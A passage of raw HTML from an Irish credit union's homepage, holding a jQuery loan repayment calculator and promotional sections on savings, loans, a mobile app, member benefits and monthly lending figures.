<input type="text" id="paymentSliderTotalMonthly" name="paymentSliderTotalMonthly" value="" readonly="true" onkeydown="javascript: handleBackspaceKeyCompat(event);" class="input_invisible">
</span>
<span id="spanMonthTotalInterest" name="spanMonthTotalInterest"><span id="spanMonthlyInterestText" class="spanInterestText">Interest</span>
<input type="text" id="paymentSliderTotalInterestMonthly" name="paymentSliderTotalInterestMonthly" value="" readonly="true" onkeydown="javascript: handleBackspaceKeyCompat(event);" class="input_invisible">
</span>
</li>
</ul>
<div id="divSliderApplyButton">
</div>
</div>
<div class="apply-now">
<a id="applylinks" title="Apply Now" href="https://social.clcu.ie/website-loan-application/?amount=12000&term=48&rate=7.5type=Car Loan&apr=7.76">Apply Now</a>
</div>
<div class="annual_percentage">APR means Annual Percentage Rate. The repayment amount quoted is for illustrative purposes only, to provide you with an overview of the potential cost of borrowing. Restrictions may apply. </div>
</div>
</div>
<input type="hidden" id="aprvals" value="7.76" />
<input type="hidden" id="intervals" value="7.5" />
<script type="text/javascript">
jQuery(document).ready(function () {
//setCookie('loan_name','Car Loan',30);
localStorage.setItem('loan_name', 'Car Loan');
var globalLoanInterestRate = Number(7.5 );
var globalLoanAPR = Number(7.76 );
term_months(Number(1),Number(84 ),Number(48),globalLoanAPR,globalLoanInterestRate);
amount_slide(Number(500),Number(100000 ),Number(12000),globalLoanAPR,globalLoanInterestRate);
calculateSliderValues(globalLoanAPR,globalLoanInterestRate,Number(12000),Number(48));
var urls = "https://social.clcu.ie/website-loan-application/?amount=12000&term=48&rate=7.5&type="+jQuery('.selectloantype option:selected').text()+"&apr=7.76";
console.log(urls);
jQuery( ".selectloantype" ).change(function() {
ajaxcals(jQuery(".selectloantype").val());
});
});
function ajaxcals(ids){
jQuery.ajax({
url: "https://www.clcu.ie/wp-content/themes/croi-laighean/calculator-ajax.php",
type: "post",
dataType: 'json',
data : {action : 'caldetails',ids:ids,cals:'cals'},
success: function(result){
if(result.sucreg == '1'){
term_months(Number(result.minv_term),Number(result.maxv_term),Number(result.defv_term),Number(result.apr),Number(result.inter));
amount_slide(Number(result.minv_amount),Number(result.maxv_amount),Number(result.defv_amount),Number(result.apr),Number(result.inter));
jQuery("#intervals").val(result.inter);
jQuery("#aprvals").val(result.apr);
jQuery("#apr").val(result.apr+"% APR");
calculateSliderValues(Number(result.apr),Number(result.inter),Number(result.defv_amount),Number(result.defv_term));
localStorage.setItem('loan_name',result.loan_name);
} else {
alert('Something went wrong. Try diffrent!');
}
}
});
}
var intAditionalChargeWeekly = 0;
var intAditionalChargeFortnightly = 0;
var intAditionalChargeFourWeekly = 0;
var intAditionalChargeMonthly = 0;
var intAditionalCharge = intAditionalChargeWeekly
var intRoundingType = 0;
var intAvailableMethods = 3;
function term_months(minv,maxv,defv,apr,inter){
jQuery("#term").val(defv);
jQuery("#sliderTerm").slider({
range: "min",
orientation: "horizontal",
min: minv,
max: maxv,
step: 1,
value: defv,
slide: function(event, ui) {
jQuery("#term").val(ui.value + " months");
varSliderTermValue = ui.value;
calculateSliderValues(apr,inter,jQuery("#sliderAmount").slider("value"),ui.value);
}
});
}
function amount_slide(minv,maxv,defv,apr,inter){
jQuery("#amount").val("\u20ac" + addThousandCommas(defv.toString(), 'false'));
jQuery("#sliderAmount").slider({
range: "min",
orientation: "horizontal",
min: minv,
max: maxv,
step: 100,
value: defv,
slide: function(event, ui) {
jQuery("#amount").val("\u20ac" + addThousandCommas(ui.value.toString(), 'false'));
calculateSliderValues(apr,inter,ui.value,jQuery("#sliderTerm").slider("value"));
}
});
}
// Global Variables for the Sliders
//var varSliderAmountValue = jQuery("#sliderAmount").slider("value");
//var varSliderTermValue = jQuery("#sliderTerm").slider("value");
function calculateSliderValues(apr,inter,varSliderAmountValue,varSliderTermValue) {
if(jQuery(".selectloantype").val() == 7){
if(varSliderTermValue >= 60 && varSliderAmountValue >= 25000){
apr = Number('7.76');
inter = Number('7.5');
}
jQuery("#apr").val(apr+"% APR");
}
calculateSliderInclusive("Weekly",apr,inter,varSliderAmountValue,varSliderTermValue);
calculateSliderInclusive("Fortnightly",apr,inter,varSliderAmountValue,varSliderTermValue);
calculateSliderInclusive("Monthly",apr,inter,varSliderAmountValue,varSliderTermValue);
}
function calculateSliderInclusive(period,apr,inter,varSliderAmountValue,varSliderTermValue) {
//var varSliderAmountValue = jQuery("#sliderAmount").slider("value");
//var varSliderTermValue = jQuery("#sliderTerm").slider("value");
var globalLoanInterestRate = inter;
var globalLoanAPR = apr;
blnCalculate = false;
// Calculates the periodic repayment amount
// Get the user's input from the form. Assume it is all valid.
// SLIDER
var principal = parseInt(Number(varSliderAmountValue));
var payments = parseFloat(varSliderTermValue / 12);
var interest;
var time;
var number;
var pperiod;
var principalB = principal;
if (isNaN(varSliderAmountValue)) {
setTimeout('checkPrincipal()', 100);
return false;
}
intrate = globalLoanInterestRate;
var strMonthSingularText = "month";
var strMonthPluralText = "months";
var strYearSingularText = "year";
var strYearPluralText = "years";
if (payments == 1) {
number = " (" + payments + " " + strYearSingularText + ")";
} else if ((payments - Math.floor(payments)) == 0) {
if (payments < 10) {
number = " (" + payments.toPrecision(1) + " " + strYearPluralText + ")";
} else if ((payments >= 10) && (payments < 100)) {
number = " (" + payments.toPrecision(2) + " " + strYearPluralText + ")";
} else if (payments >= 100) {
number = " (" + payments.toPrecision(3) + " " + strYearPluralText + ")";
}
} else if (payments < 0.1) {
number = " (" + payments.toPrecision(1) + " " + strYearPluralText + ")";
} else if (payments < 1) {
number = " (" + payments.toPrecision(2) + " " + strYearPluralText + ")";
} else if (payments >= 10) {
number = " (" + payments.toPrecision(4) + " " + strYearPluralText + ")";
} else {
number = " (" + payments.toPrecision(3) + " " + strYearPluralText + ")";
}
//alert(varSliderTermValue);
if (period == "Weekly") {
pperiod = "week";
interest = ((intrate / 365.25) * 7) / 100;
time = pperiod + "s";
payments = payments * 52;
} else if(period == "Fortnightly") {
pperiod = "fortnight";
interest = ((intrate / 365.25) * 14) / 100;
time = pperiod + "s";
payments = payments * 26;
} else if(period == "Four Weekly") {
pperiod = "4 weeks";
interest = ((intrate / 365.25) * 28) / 100;
time = "weeks";
payments = payments * 13;
} else if(period == "Monthly") {
//pperiod = "month";
pperiod = strMonthSingularText;
interest = (intrate / 12) / 100;
//interest = ((intrate / 365.25) * 12) / 100;
if (varSliderTermValue == 1) {
time = pperiod;
} else {
//time = pperiod + "s";
time = strMonthPluralText;
}
payments = payments * 12;
}
IR = interest + 1;
IR = Math.pow(IR, payments);
// Now compute the periodic repayment figure
Fig1 = principalB * IR;
Fig2 = IR - 1;
Fig3 = Fig2 / interest;
monthly = Fig1 / Fig3;
// Now compute the periodic repayment figure (irrespective of rpi)
Fig1B = principal * IR;
Fig2B = IR - 1;
Fig3B = Fig2B / interest;
monthlyB = Fig1B / Fig3B;
// Check that the result is a finite number. If so, display the results
if (!isNaN(monthly) &&
(monthly != Number.POSITIVE_INFINITY) &&
(monthly != Number.NEGATIVE_INFINITY)) {
if (Number(intAditionalCharge) > 0) {
finalRepayment = Number(round(monthly)) + Number(intAditionalCharge);
} else {
finalRepayment = round(monthly);
}
// ROUNDING METHOD
if (intRoundingType == 0) {
// Standard rounding, change nothing
finalRepaymentAfterRounding = finalRepayment;
//finalTotalAfterRounding = Number(round(monthly * payments)) + Number(payments) * Number(intAditionalCharge);
finalTotalAfterRounding = Number(round(monthly * payments));
finalInterestAfterRound = round((monthlyB * payments) - principal);
} else if (intRoundingType == 1) {
// Round up to the nearest unit
finalRepaymentAfterRounding = Math.ceil(finalRepayment);
//finalTotalAfterRounding = Math.ceil(Number(round(monthly * payments)) + Number(payments) * Number(intAditionalCharge));
finalTotalAfterRounding = Math.ceil(Number(round(monthly * payments)));
finalInterestAfterRound = Math.ceil(round((monthlyB * payments) - principal));
} else {
// Rounding type not specifiec, use standard
finalRepaymentAfterRounding = finalRepayment;
//finalTotalAfterRounding = Number(round(monthly * payments)) + Number(payments) * Number(intAditionalCharge);
finalTotalAfterRounding = Number(round(monthly * payments));
finalInterestAfterRound = round((monthlyB * payments) - principal);
}
if(period == "Weekly") {
document.getElementById('paymentSliderWeekly').value = "\u20ac" + addThousandCommas(round(finalRepaymentAfterRounding), 'true');
document.getElementById('paymentSliderTotalWeekly').value = "\u20ac" + addThousandCommas(round(finalTotalAfterRounding), 'true');
document.getElementById('paymentSliderTotalInterestWeekly').value = "\u20ac" + addThousandCommas(round(finalInterestAfterRound), 'true');
} else if(period == "Fortnightly") {
document.getElementById('paymentSlider2Weeks').value = "\u20ac" + addThousandCommas(round(finalRepaymentAfterRounding), 'true');
document.getElementById('paymentSliderTotal2Weeks').value = "\u20ac" + addThousandCommas(round(finalTotalAfterRounding), 'true');
document.getElementById('paymentSliderTotalInterest2Weeks').value = "\u20ac" + addThousandCommas(round(finalInterestAfterRound), 'true');
} else if(period == "Four Weekly") {
document.getElementById('paymentSlider4Weeks').value = "\u20ac" + addThousandCommas(round(finalRepaymentAfterRounding), 'true');
document.getElementById('paymentSliderTotal4Weeks').value = "\u20ac" + addThousandCommas(round(finalTotalAfterRounding), 'true');
document.getElementById('paymentSliderTotalInterest4Weeks').value = "\u20ac" + addThousandCommas(round(finalInterestAfterRound), 'true');
} else if(period == "Monthly") {
document.getElementById('paymentSliderMonthly').value = "\u20ac" + addThousandCommas(round(finalRepaymentAfterRounding), 'true');
document.getElementById('paymentSliderTotalMonthly').value = "\u20ac" + addThousandCommas(round(finalTotalAfterRounding), 'true');
document.getElementById('paymentSliderTotalInterestMonthly').value = "\u20ac" + addThousandCommas(round(finalInterestAfterRound), 'true');
document.getElementById('term').value = varSliderTermValue + " " + time + number;
}
// period,apr,inter,varSliderAmountValue,varSliderTermValue
var urls = "https://social.clcu.ie/website-loan-application/?amount="+varSliderAmountValue+"&term="+varSliderTermValue+"&rate="+inter+"&type="+jQuery('.selectloantype option:selected').text()+"&apr="+apr+"";
//console.log(urls);
jQuery("#applylinks").attr("href",urls);
blnCalculate = true;
}
}
function addThousandCommas(num, hasDecimal) {
// Adds a thousand comma to a number where appropriate
varFinal = Number(num).toFixed(0).toString();
hasDecimal = "false";
varNumLen = varFinal.length;
// Check if there is a decimal place
if (hasDecimal == "true") {
varDecimalAmount = 3;
} else {
varDecimalAmount = 0;
}
// Add first thousand comma
if (varNumLen > (3 + varDecimalAmount)) {
varFirstHalf = varFinal.substr(0, varNumLen - (3 + varDecimalAmount));
varSecondHalf = varFinal.substr(varNumLen - (3 + varDecimalAmount), varNumLen);
varFinal = varFirstHalf + "," + varSecondHalf;
varNumLen = varFinal.length;
}
// Add second thousand comma
if (varNumLen > (7 + varDecimalAmount)) {
varFirstHalf = varFinal.substr(0, varNumLen - (7 + varDecimalAmount));
varSecondHalf = varFinal.substr(varNumLen - (7 + varDecimalAmount), varNumLen);
varFinal = varFirstHalf + "," + varSecondHalf;
varNumLen = varFinal.length;
}
// Add third thousand comma
if (varNumLen > (11 + varDecimalAmount)) {
varFirstHalf = varFinal.substr(0, varNumLen - (11 + varDecimalAmount));
varSecondHalf = varFinal.substr(varNumLen - (11 + varDecimalAmount), varNumLen);
varFinal = varFirstHalf + "," + varSecondHalf;
varNumLen = varFinal.length;
}
// Add fourth thousand comma
if (varNumLen > (15 + varDecimalAmount)) {
varFirstHalf = varFinal.substr(0, varNumLen - (15 + varDecimalAmount));
varSecondHalf = varFinal.substr(varNumLen - (15 + varDecimalAmount), varNumLen);
varFinal = varFirstHalf + "," + varSecondHalf;
varNumLen = varFinal.length;
}
return varFinal;
}
function checkPrincipal() {
alert("Please enter an amount that you would like to borrow");
if (document.getElementById('principal') != null) {
document.getElementById('principal').focus();
}
}
function round(x) {
// This simple method rounds a number to two decimal places.
valRounded = Math.round(x * 100) / 100;
valRounded = "" + valRounded + "";
decLoc = valRounded.indexOf(".");
if (decLoc != -1) {
array1 = valRounded.split(".");
if (array1[1].length != 2) {
valRounded = valRounded + "0";
}
} else {
valRounded = valRounded + ".00";
}
return valRounded;
}
function amountDecrement() {
var amountCurrentValue = jQuery("#sliderAmount").slider("value");
var amountNewValue = amountCurrentValue - 100;
jQuery("#sliderAmount").slider("value", amountNewValue);
updateValues();
}
function amountIncrement() {
var amountCurrentValue = jQuery("#sliderAmount").slider("value");
var amountNewValue = amountCurrentValue + 100;
jQuery("#sliderAmount").slider("value", amountNewValue);
updateValues();
}
function termDecrement() {
var termCurrentValue = jQuery("#sliderTerm").slider("value");
var termNewValue = termCurrentValue - 1;
jQuery("#sliderTerm").slider("value", termNewValue);
updateValues();
}
function termIncrement() {
var termCurrentValue = jQuery("#sliderTerm").slider("value");
var termNewValue = termCurrentValue + 1;
jQuery("#sliderTerm").slider("value", termNewValue);
updateValues();
}
function updateValues() {
varSliderAmountValue = jQuery("#sliderAmount").slider("value");
jQuery("#amount").val("\u20ac" + addThousandCommas(varSliderAmountValue.toString(), 'false'));
jQuery("#term").val(jQuery("#sliderTerm").slider("value") + " months");
//changeAPRValue();
calculateSliderValues(Number(jQuery("#aprvals").val()),Number(jQuery("#intervals").val()),jQuery("#sliderAmount").slider("value"),jQuery("#sliderTerm").slider("value"));
}
function setCookie(cname, cvalue, exdays) {
var d = new Date();
d.setTime(d.getTime() + (exdays * 24 * 60 * 60 * 1000));
var expires = "expires=" + d.toGMTString();
document.cookie = cname + "=" + cvalue + ";" + expires + ";path=/";
}
</script>
</div>
<div class="warning_text">
<p><small><strong>Warning: If you do not meet the repayments on your loan, your loan, your account will go into arrears. This may affect your credit rating, which may limit ability to access credit in the future.</strong></small></p>
<p>While every care has been made in the production of this web page, the Credit Union, or any of its staff, cannot be held responsible for any omissions, errors or other mistakes on the site. This calculator is for illustrative purposes only, to give you, the borrower, an overview of the potential cost of borrowing.</p>
<p>Loan amounts and 99% approval rate is based on figures from 2020. Rates are correct as of 1/02/2022 and are subject to change. Croí Laighean Credit Union is regulated by the <a href="http://www.centralbank.ie/" target="_blank" rel="noopener">Central Bank of Ireland</a>.</p>
</div>
</div>
</div>
</div>
</div>
<div id="what-we-do-2"></div>
<div class="tab-pane fade " id="tab_2" role="tabpanel">
<div class="res-tab " datarowcolor="#009c86" style="background-color:#009c86 " >Our Services</div>
<div class="container">
<div class="service-title-cont">
<div class="services_cont">
<div class="letf-title-cont">
<h3><a href="https://www.clcu.ie/services/" title="Services">Services</a></h3>
</div>
</div>
<div class="service-boxes matchHeight">
<div class="services_col">
<div class="image-box">
<img src="https://www.clcu.ie/wp-content/uploads/2020/09/savings.svg" alt="Credit-union-savings" title="savings">
<strong>Savings</strong>
</div>
<div class="inner_hover_content detailsbox">
<div class="right_title">Savings</div>
<div class="history-desc"><p>Lay a solid foundation for your future with our savings schemes:</p>
<ul>
<li>Share Account</li>
<li>Family Account</li>
<li>School Savers</li>
<li>Saving Stamps</li>
</ul>
</div>
<div class="view_more"><a href="https://www.clcu.ie/current-account-overview/" title="View More">View More</a></div>
</div>
</div>
<div class="services_col">
<div class="image-box">
<img src="https://www.clcu.ie/wp-content/uploads/2020/09/loans.svg" alt="CLCU-loans" title="loans">
<strong>Loans</strong>
</div>
<div class="inner_hover_content detailsbox">
<div class="right_title">Loans</div>
<div class="history-desc"><p><strong>Options to suit all needs (99% approval rate)</strong></p>
<ul>
<li>Back to school</li>
<li>Business</li>
<li>Car</li>
<li>Celebrations</li>
<li>Consolidation</li>
<li>Home improvements</li>
<li>Mortgages</li>
<li>& lots more options!</li>
</ul>
</div>
<div class="view_more"><a href="https://www.clcu.ie/credit-union-loan/" title="View More">View More</a></div>
</div>
</div>
<div class="services_col">
<div class="image-box">
<img src="https://www.clcu.ie/wp-content/uploads/2020/09/icons_services_personal_account-green.svg" alt="Credit Union App" title="icons_services_personal_account-green">
<strong>Personal Account</strong>
</div>
<div class="inner_hover_content detailsbox">
<div class="right_title">Personal Account</div>
<div class="history-desc"><p>We provide all the benefits of a regular current account, with a more personal approach.</p>
<ul>
<li>Current Account & Mastercard® Debit Card</li>
</ul>
</div>
<div class="view_more"><a href="https://www.clcu.ie/current-account-overview/" title="View More">View More</a></div>
</div>
</div>
<div class="services_col">
<div class="image-box">
<img src="https://www.clcu.ie/wp-content/uploads/2020/09/Insurance.svg" alt="Croi-Laighean-Insurance" title="Insurance">
<strong>Insurance</strong>
</div>
<div class="inner_hover_content detailsbox">
<div class="right_title">Insurance</div>
<div class="history-desc"><p>Peace of mind with Ireland’s fairest policies, covering Home, Life & Travel Insurance.</p>
</div>
<div class="view_more"><a href="https://www.clcu.ie/links/credit-union-insurance/" title="View More">View More</a></div>
</div>
</div>
<div class="services_col">
<div class="image-box">
<img src="https://www.clcu.ie/wp-content/uploads/2020/09/exchange-green.svg" alt="Credit Union Foreign Exchange" title="exchange-green">
<strong>Foreign Exchange</strong>
</div>
<div class="inner_hover_content detailsbox">
<div class="right_title">Foreign Exchange</div>
<div class="history-desc"><p>Skip the airport queues and tick off your travel checklist with our commission-free foreign exchange service.</p>
</div>
<div class="view_more"><a href="https://www.clcu.ie/links/foreign-currency-services/" title="View More">View More</a></div>
</div>
</div>
<div class="services_col">
<div class="image-box">
<img src="https://www.clcu.ie/wp-content/uploads/2020/09/icons_services_billpayments-red.svg" alt="Credit Union Bill Payments" title="icons_services_billpayments-red">
<strong>Bill Payments</strong>
</div>
<div class="inner_hover_content detailsbox">
<div class="right_title">Bill Payments</div>
<div class="history-desc"><p>Stay on top of your finances by conveniently paying your bills through us.</p>
</div>
<div class="view_more"><a href="https://www.clcu.ie/bill-payments/" title="View More">View More</a></div>
</div>
</div>
<div class="services_col">
<div class="image-box">
<img src="https://www.clcu.ie/wp-content/uploads/2020/09/cu-online-1.svg" alt="Credit Union Online Services" title="cu-online">
<strong>CU Online & CU Mobile App</strong>
</div>
<div class="inner_hover_content detailsbox">
<div class="right_title">CU Online & CU Mobile App</div>
<div class="history-desc"><p>Your account at your fingertips, <b>24/7 </b></p>
</div>
<div class="view_more"><a href="https://www.clcu.ie/online-mobile-banking/" title="View More">View More</a></div>
</div>
</div>
<div class="services_col">
<div class="image-box">
<img src="https://www.clcu.ie/wp-content/uploads/2020/09/Community-Fund.svg" alt="Community Fund" title="Community Fund">
<strong>Community Support</strong>
</div>
<div class="inner_hover_content detailsbox">
<div class="right_title">Community Support</div>
<div class="history-desc"><p>Every year, we give back over <b>€50,000</b> to organisations and schools within our local community.</p>
</div>
<div class="view_more"><a href="https://www.clcu.ie/our-community/" title="View More">View More</a></div>
</div>
</div>
<div class="services_col">
<div class="image-box">
<img src="https://www.clcu.ie/wp-content/uploads/2020/09/members-draw-yellow.svg" alt="Credit Union Members Draw" title="members-draw-yellow">
<strong>Members Draw</strong>
</div>
<div class="inner_hover_content detailsbox">
<div class="right_title">Members Draw</div>
<div class="history-desc"><p>We have <b>€20,000</b> to give away every month in our famous draw — will you be one of the lucky members?</p>
</div>
<div class="view_more"><a href="https://www.clcu.ie/links/members-draw/" title="View More">View More</a></div>
</div>
</div>
</div>
</div>
</div>
</div>
<div id="what-we-do-3"></div>
<div class="tab-pane fade " id="tab_3" role="tabpanel">
<div class="res-tab " datarowcolor="#0082c2" style="background-color:#0082c2 " >Why Choose Us</div>
<div class="container">
<div class="whychoose-title-cont matchHeight">
<div class="letf-title-cont">
<h3>Why Choose Us</h3>
<p>We combine all the traditional friendliness of a credit union with the modern banking facilities you demand, such as instant, real-time <a href="https://www.clcu.ie/online-mobile-banking/" target="_blank" rel="noopener">online access</a> to your account and our convenient mobile app which lets you manage your finances while on the move.</p>
<p>When you join us, you’ll become part of a community to lean on for help. Croí Laighean Credit Union is not-for-profit so any surplus is channelled into providing members with better products and services, loan rebates, or dividends. We also help our <a href="https://www.clcu.ie/community-support/" target="_blank" rel="noopener">local community</a> flourish through sponsorship initiatives that support schools, organisations and clubs in your area.</p>
<br>
<h4><b>Over the last 7 years we have donated over €728,000 to the local community</b></h4>
<br>
<center><iframe width="560" height="315" src="https://www.youtube.com/embed/5iTb4SBGwMI" title="YouTube video player" frameborder="0" allow="accelerometer; autoplay; clipboard-write; encrypted-media; gyroscope; picture-in-picture" allowfullscreen></iframe></center>
</div>
</div>
</div>
</div>
<div id="what-we-do-4"></div>
<div class="tab-pane fade " id="tab_4" role="tabpanel">
<div class="res-tab " datarowcolor="#fab500" style="background-color:#fab500 " >Croí Laighean App</div>
<div class="container">
<div class="croilaighean-title-cont">
<h3>Croí Laighean Mobile App</h3>
<div class="feature_row">
<div class="feature_left">
<p>Get full access to your account with a few simple taps on your smartphone or tablet. It’s never been easier to manage your money on the go, 24/7. Unlock a whole new level of convenience by downloading the Croí Laighean Mobile App today.</p>
<p>This facility is open to all members who have registered for online access. Register for online access <a href="https://secure.clcu.ie/Register" target="_blank" rel="noopener">here</a> or learn how to sign up for our Mobile app <a href="https://www.clcu.ie/online-mobile-banking/">here</a>.</p>
<p><strong>All our benefits at your fingertips</strong></p>
<ul>
<li>Check your account Credit Union balances on the go</li>
<li>Pay your bills</li>
<li>Transfer funds between your own accounts</li>
<li>Transfer funds to non- Credit Union accounts</li>
<li>Secure member login — you’ll have peace of mind knowing your data is fully secure</li>
</ul>
<p><strong>Terms and conditions apply. </strong></p>
<div class="app_icon_feature">
<a href="https://apps.apple.com/ie/app/cro%C3%AD-laighean-credit-union/id1145914849" target="_blank"><img src="https://www.clcu.ie/wp-content/uploads/2019/11/App-Store.svg" alt="Croí Laighean Apple App Store" title="App Store"></a>
</div>
<div class="app_icon_feature">
<a href="https://play.google.com/store/apps/details?id=ie.progress.edenderrycumobile&hl=en" target="_blank"><img src="https://www.clcu.ie/wp-content/uploads/2019/11/Play-Store.svg" alt="Croí Laighean Credit Union Play Store App" title="Play Store"></a>
</div>
</div>
<div class="feature_middle">
<div class="center-img">
<img src="https://www.clcu.ie/wp-content/uploads/2020/11/Phone-image.svg" alt="Croí Laighean Credit Union app" title="Phone image">
</div>
</div>
<div class="feature_right">
<div class="right_key_features">
<div class="icon-key-features">
<img src="https://www.clcu.ie/wp-content/uploads/2020/09/secure-login.svg" alt="Credit Union Secure Banking" title="secure-login">
</div>
<div class="right_cont">
<h4>Secure member login</h4>
<p>you’ll have peace of mind knowing your data is fully secure</p>
</div>
</div>
<div class="right_key_features">
<div class="icon-key-features">
<img src="https://www.clcu.ie/wp-content/uploads/2020/09/account-balance.svg" alt="account-balance" title="account-balance">
</div>
<div class="right_cont">
<h4>Account balance</h4>
<p>Check your account balances on the go</p>
</div>
</div>
<div class="right_key_features">
<div class="icon-key-features">
<img src="https://www.clcu.ie/wp-content/uploads/2020/09/transfer-funds.svg" alt="transfer-funds" title="transfer-funds">
</div>
<div class="right_cont">
<h4>Transfer funds</h4>
<p>Transfer funds between your own accounts and to non-Credit Union accounts</p>
</div>
</div>
<div class="right_key_features">
<div class="icon-key-features">
<img src="https://www.clcu.ie/wp-content/uploads/2020/09/pay-bills.svg" alt="pay-bills" title="pay-bills">
</div>
<div class="right_cont">
<h4>Pay bills</h4>
<p>Pay your bills</p>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
<div id="what-we-do-5"></div>
<div class="tab-pane fade " id="tab_5" role="tabpanel">
<div class="res-tab " datarowcolor="#93d500" style="background-color:#93d500 " >Member Benefits</div>
<div class="container">
<div class="whychoose-title-cont matchHeight">
<div class="letf-title-cont">
<h3>Member Benefits</h3>
<p>We're free to join!</p>
<p>Every month we give away a minimum of €20,000 to members participating in our members draw*.</p>
<p><b>Nomination of your funds*</b>: This facility enables you to nominate a recipient of your funds should you pass away. The nomination facility ensures that your funds are easily transferred to your loved ones in a timely manner.</p>
<p><b>Free Loan Insurance*</b>: Your loans are insured at no direct cost to you which means that in the event of your passing, any outstanding loan balance will be paid off to relieve any financial stress on your loved ones, during this difficult period.</p>
<p><b>Life benefit insurance*</b>: This is a unique additional benefit at no direct cost to you, paid to your nominated person in the event of your death.</p>
<br>
* Terms and conditions apply </div>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
<div class="figure_service_sec_wrap">
<div class="container">
<div class="last_month_figure_wrap">
<div class="last_month_figure_title">
Last month’s figures </div>
<div class="last_month_figure_sub_title">
Our numbers for October 2023 </div>
<div class="last_month_repeter_wrap">
<div class="last_month_repeterbx">
<div class="last_month_repeter">
<div class="icon"><img src="https://www.clcu.ie/wp-content/uploads/2022/02/Loans-approved.svg" title="Loans-approved" /></div>
<div>
<div class="counter_text">610</div>
<div class="title">Loans approved</div>
</div>
</div>
</div>
<div class="last_month_repeterbx">
<div class="last_month_repeter">
<div class="icon"><img src="https://www.clcu.ie/wp-content/uploads/2022/02/Loans-paid-out.svg" title="Loans-paid-out" /></div>
<div>
<div class="counter_text">5,136,296</div>
<div class="title">Loans paid out</div>
</div>
</div>
</div>
<div class="last_month_repeterbx">
<div class="last_month_repeter">
<div class="icon"><img src="https://www.clcu.ie/wp-content/uploads/2022/02/New-members-accounts.svg" title="New-members-accounts" /></div>
<div>
<div class="counter_text">137</div>
<div class="title">New members</div>
</div>
</div>
</div>
</div>
</div>
<div class="banner_section_wrap">
<div class="bg-img-bx">
<div class="bg_img" style="background-image: url('https://www.clcu.ie/wp-content/uploads/2022/11/switch-your-loan-background.png');">
<div class="img-infobx">
<div class="title">Get A 5 Year Fixed Rate Loan Of 6%</div>
<div class="sub_title"><b>Switch Your Loan Today!</b></div>
<div class="content">If you have an existing personal loan with a bank or other lender you can switch to our 5-year fixed loan with a low rate of 6% (6.17% APR).</div>
<img src="https://www.clcu.ie/wp-content/uploads/2022/11/switch-your-loan.png" title="switch-your-loan">
<div class="find-btn-bx">
<a class="find-btn" href="https://www.clcu.ie/5-year-fixed-loan/" title="Find out more">Find out more</a>
</div>
</div>
</div>
</div>
<div class="bg-img-bx">
<div class="bg_img" style="background-image: url('https://www.clcu.ie/wp-content/uploads/2023/07/Croi-laighean-credit-union-board-drive.png');">
<div class="img-infobx">
<div class="title">Time for a new car?</div>
<div class="sub_title">Car loans from 5.5%!</div>
<div class="content">Get in gear and get on the road with a Credit Union Car Loan. In the last year, we’ve helped our members buy cars by lending almost €12 million.</div>
<img src="https://www.clcu.ie/wp-content/uploads/2023/08/used-car-loan-ireland.png" title="used-car-loan-ireland">
<div class="find-btn-bx">
<a class="find-btn" href="https://www.clcu.ie/pcp-buster-our-lowest-car-loan-rate/" title="Find out more">Find out more</a>
</div>
</div>
</div>
</div>
</div>
<div class="our_service_section_wrap">
<div class="container">
<div class="our_service_title">Our services</div>
<div class="service-rowbx">
<div class="service_wrapbx">
<div class="service_wrap">
<div class="service_icon">
<img src="https://www.clcu.ie/wp-content/uploads/2022/02/loans.svg" title="loans"/>
</div>
<div class="service-rightbx">
<div class="service_title">Loans</div>
<div class="service_content">From Home Improvement Loans to Car Loans to Covered Loans, we have a wide range of Credit Union loans to suit your needs and repayment ability.</div>
</div>
</div>
</div>
<div class="service_wrapbx">
<div class="service_wrap">
<div class="service_icon">
<img src="https://www.clcu.ie/wp-content/uploads/2022/02/savings.svg" title="savings"/>
</div>
<div class="service-rightbx">
<div class="service_title">Savings</div>
<div class="service_content">When you save with Croí Laighean Credit Union, you’re not just a customer, but a member of a Credit Union that provides security & protection for your savings.</div>
</div>
</div>
</div>
<div class="service_wrapbx">
<div class="service_wrap">
<div class="service_icon">
<img src="https://www.clcu.ie/wp-content/uploads/2022/02/Current-Account.svg" title="Current-Account"/>
</div>
<div class="service-rightbx">
<div class="service_title">Current Account</div>
<div class="service_content">The Current Account from Croí Laighean Credit Union gives you all the benefits you expect from a current account, but with the trusted Credit Union personal touch.</div>
</div>
</div>
</div>
<div class="service_wrapbx">
<div class="service_wrap">
<div class="service_icon">
<img src="https://www.clcu.ie/wp-content/uploads/2022/02/insurance.svg" title="insurance"/>
</div>
<div class="service-rightbx">
<div class="service_title">Insurance</div>
<div class="service_content">Backed by some of the leading Insurance companies in Royal London, RSA, AIG, Liberty and Mapfre. We will ensure that you get a fair quote every time.</div>
</div>
</div>
</div>
<div class="service_wrapbx">
<div class="service_wrap">
<div class="service_icon">
<img src="https://www.clcu.ie/wp-content/uploads/2022/02/member-benefits.svg" title="member-benefits"/>
</div>
<div class="service-rightbx">
<div class="service_title">Member benefits</div>
<div class="service_content">We have a range of member benefits that you will not get from traditional banks and our customer service has awarded the best in Ireland for the past 6 years.</div>
</div>
</div>
</div>
<div class="service_wrapbx">
<div class="service_wrap">
<div class="service_icon">
<img src="https://www.clcu.ie/wp-content/uploads/2022/02/Community-support.svg" title="Community-support"/>
</div>
<div class="service-rightbx">
<div class="service_title">Community Support</div>
<div class="service_content">We have donated over €600,000 to the local community over the last 6 years and as we grow, we will have more to contribute. </div>
</div>
</div>
</div>
</div>
</div>
</div>
<div class="latest_post_wrap">
<div class="latest_post_title">Latest posts</div>
<ul class="latest_post_ul">
<li class="latest_post_li">
<div class="latest_post-sldbx">
<a href="https://www.clcu.ie/events/keeping-your-account-safe-from-fraud/" title="Keeping Your Account Safe From Fraud">
<div class="latest_post_slidpic" style="background-image:url('https://www.clcu.ie/wp-content/uploads/2022/02/Website-News-Item-Featured-Image-360-x-219-px-7.png');">
<img src="https://www.clcu.ie/wp-content/themes/croi-laighean/images/latest-product.png" title=""/>
</div>
</a>
<div class="latest_post_slidcontbx">
<div class="latest_posts_title"><a href="https://www.clcu.ie/events/keeping-your-account-safe-from-fraud/" title="Keeping Your Account Safe From Fraud">Keeping Your Account Safe From Fraud</a></div>
<div class="latest_posts_news_date">22nd Feb 2023</div>
<div class="latest_posts_content">We have compiled this post to alert you about the recent surge in...</div>
</div>
</div>
</li>
<li class="latest_post_li">
<div class="latest_post-sldbx">
<a href="https://www.clcu.ie/events/clcu-social-impact-report/" title="CLCU Social Impact Report">
<div class="latest_post_slidpic" style="background-image:url('https://www.clcu.ie/wp-content/uploads/2023/09/Croi-Laighean-Social-Impact-Report.png');">
